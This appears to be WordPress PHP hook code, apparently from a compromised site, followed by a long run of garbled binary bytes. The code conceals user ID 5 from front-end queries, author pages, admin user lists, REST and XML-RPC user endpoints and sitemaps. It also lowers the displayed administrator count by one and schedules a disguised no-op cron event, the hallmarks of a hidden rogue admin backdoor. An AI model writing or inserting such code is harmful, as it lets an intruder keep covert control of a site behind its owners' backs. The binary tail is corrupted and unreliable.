add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 5;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 5 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 5;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 5;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
՝K#ג3ڙ]'!°==0deU]E,JkpDd}'N$AK-j=8vڬ ?OWz]?/ofct\ݷv۫տ{xZi^?i!|pji>nv]}|jW?j+W_+<~?Wܳ}j}OW/?}77f|O7_fz߮7Oyxֳͺovݓ~ۇ:ˮw/_|݇fD;7!D6_^j]_~/FGo<|i^v?:7/t6W>?b8f{dynn 1çcϝq{U0w8782T7$$tF5qWHN) h#}1'$ܾg|ϑDJ=VQ'8D܈cIMӃ@:\qs漓sytso
y7٩
]Pqs
7.;Nl{'a$&=s k
7Ujz#nx7콤{> ;c@5vl%L`]4lTy*MN#V.&}BzpSkw*'qJَ%U˹#?rGDO<ކޫ8c4=7biQ'd T1JN6s; $|tdVs0V.bvQsχH<;F$+QqA<6ߠv1k
AgǪvg$
A{нcu5Dy;o*м`FN
9ql:z5m#
XGvXGXhDQe8'Qcظ"n5A/myp2ODE#'0`mBpz-I{rn;+%"$('NVʐI8!8ҁW&$pD
"GY pys(h5%8`pPB+WLHZ\Q>C2%89n0+X^` R`ؠ<6PX y#WY6mdY*gua6C
!$ ^UNĄ+j+Uӑ+:Fz\~=X\bWrsV8VтW>xP&͏U"W;NЏa¤p$s'iF*jpVHߪ$|8VUʓWƪLGNk&GXUSsV3a:p/|p$
)1Cy^HGF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